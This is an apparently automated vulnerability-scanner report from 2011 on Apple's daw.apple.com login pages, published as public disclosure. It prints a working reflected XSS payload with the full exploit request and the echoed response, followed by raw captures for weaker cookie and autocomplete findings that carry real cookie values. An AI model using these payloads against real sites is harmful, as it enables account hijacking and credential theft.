XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, daw.apple.com

Report generated by XSS.CX at Wed Jul 20 05:55:44 CDT 2011.


Comment - Report is also valid for daw2.apple.com

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

2. Password field with autocomplete enabled

2.1. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

2.2. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

2.3. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login

3. SSL cookie without secure flag set

4. Cookie scoped to parent domain

5. Cross-domain Referer leakage

6. Cookie without HttpOnly flag set

7. Cacheable HTTPS response

8. Content type incorrectly stated

8.1. https://daw.apple.com/support/iknow/scripts/ACQuicklinks2.js

8.2. https://daw.apple.com/support/iknow/scripts/ACShortcuts.js

9. SSL certificate



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The value of the path request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 579ce"><img%20src%3da%20onerror%3dalert(1)>7fae64f6d4e was submitted in the path parameter. This input was echoed as 579ce"><img src=a onerror=alert(1)>7fae64f6d4e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1579ce"><img%20src%3da%20onerror%3dalert(1)>7fae64f6d4e HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://asw.apple.com/cgi-bin/WebObjects/ASWViewer.woa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_orientationHeight=780; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:54:35 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:22:49 GMT
pragma: no-cache
set-cookie: dslang=US-EN; version="1"; expires=Sat, 31-Dec-2011 20:00:00 GMT; path=/; domain=.apple.com
connection: close
content-length: 7491
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" ty
...[SNIP]...
<a id="helpForm:helpLink" href="https://portal.apple.com/validateUser?action=login&appId=1579ce"><img src=a onerror=alert(1)>7fae64f6d4e&mode=signup&language=en_US">
...[SNIP]...

2. Password field with autocomplete enabled  previous  next
There are 3 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


2.1. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1 HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://asw.apple.com/cgi-bin/WebObjects/ASWViewer.woa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_orientationHeight=780; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:53:43 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:25:54 GMT
pragma: no-cache
set-cookie: dslang=US-EN; version="1"; expires=Sat, 31-Dec-2011 20:00:00 GMT; path=/; domain=.apple.com
connection: close
content-length: 7445
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" ty
...[SNIP]...
<div id="ds_container">
   
   
                       <form method="post" name="appleConnectForm" action="/cgi-bin/WebObjects/DSAuthWeb.woa/855/wo/tcbTHD0scJxybHB4lrGWbw/0.25.1.1.1.2.1.1.3.1.1">

               
                                                                                                                                                                                   <table cellpadding=0 cellspacing=0 border=0 width=273>
...[SNIP]...
<br>
                               <input size="30" autocapitalize="off" autocorrect="off" maxlength="32" id="accountpassword" type="password" name="theAccountPW" /><input border="0" width="0" height="0" type="image" name="1.Continue" src="/AppleConnect/US-EN/spacer.gif" />
...[SNIP]...

2.2. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=58ef9db8ff4d201409e7270a68e4408ae1678e1618204c476572a1b5e5fb3518&path HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; POD=us~en; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=iad%20-%20index%20(US); s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D1%2Cadvertising%3D1%2C; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_sq=%5B%5BB%5D%5D; s_ppv=iad%2520-%2520index%2520%2528US%2529%2C67%2C67%2C780%2C; s_orientationHeight=780

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:50:58 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:21:06 GMT
pragma: no-cache
connection: close
content-length: 16115
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <t
...[SNIP]...
</script>

           
                   <form method="post" class="dsform" name="appleConnectForm" action="/cgi-bin/WebObjects/DSAuthWeb.woa/783/wo/vZthgVnFpwDuSte44aE230/0.41.1.1.1.2.1.1.3.3.5">
           
               
                   <h2>
...[SNIP]...
<span class="formwrap">
                       <input size="30" autocapitalize="off" autocorrect="off" maxlength="32" tabindex="2" placeholder="Password" class="input-password" id="accountpassword" type="password" name="theAccountPW" />
                   </span>
...[SNIP]...

2.3. https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/login

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?appIdKey=4a75046cda87eab6386a9eae8caabb9824e328b9abc988119b39296495ec184c&path=/login.jspa HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:45:50 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:27:14 GMT
pragma: no-cache
connection: close
content-length: 8063
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<div id="ds_container">
   
   
                       <form method="post" name="appleConnectForm" action="/cgi-bin/WebObjects/DSAuthWeb.woa/873/wo/1GzEAb8bd0WTxpjtsmfUSM/0.1.3.1.1.2.1.1.3.1.1">

               
                                                                                                                                                                                   <table cellpadding=0 cellspacing=0 border=0 width=273>
...[SNIP]...
<br>
                               <input size="30" autocapitalize="off" autocorrect="off" maxlength="32" id="accountpassword" type="password" name="theAccountPW" /><input border="0" width="0" height="0" type="image" name="1.Continue" src="/AppleConnect/US-EN/spacer.gif" />
...[SNIP]...

3. SSL cookie without secure flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1 HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://asw.apple.com/cgi-bin/WebObjects/ASWViewer.woa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; ac_history=%7B%22search%22%3A%5B%5D%2C%22kb%22%3A%5B%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%7D%7D; s_ria=Flash%2010%7C; ac_search=%7C%7Cxss; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3Bch%3Dadvertising%26vn%3D1%3B; s_invisit_us=support%3Dtrue%3Badvertising%3Dtrue%3B; s_orientationHeight=780; POD=us~en; dfa_cookie=appleglobal%2Capplesupport%2Cappleusad%2Cappleusother; s_pv=acs%3A%3Aweb%3A%3Ahomepage%20(US); s_ppv=acs%253A%253Aweb%253A%253Ahomepage%2520%2528US%2529; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_pathLength=support%3D2%2Cadvertising%3D3%2C; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 200 Apple
Date: Fri, 15 Jul 2011 20:53:43 GMT
Server: Apache
cache-control: private
cache-control: no-cache
cache-control: no-store
cache-control: must-revalidate
cache-control: max-age=0
expires: Thu, 07-Jul-2011 19:25:54 GMT
pragma: no-cache
set-cookie: dslang=US-EN; version="1"; expires=Sat, 31-Dec-2011 20:00:00 GMT; path=/; domain=.apple.com
connection: close
content-length: 7445
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" >
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" ty
...[SNIP]...

4. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://daw.apple.com
Path:   /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /cgi-bin/WebObjects/DSAuthWeb.woa/wa/classicLogin?appIdKey=D637F3C410E683A4BB8654B61E679401508543CA2693FB2E2751628F0291F620&baseURL=https://portal.apple.com/&path=validateUser%3Faction%3Dlogin%26appId%3D1 HTTP/1.1
Host: daw.apple.com
Connection: keep-alive
Referer: https://asw.apple.com/cgi-bin/WebObjects/ASWViewer.woa
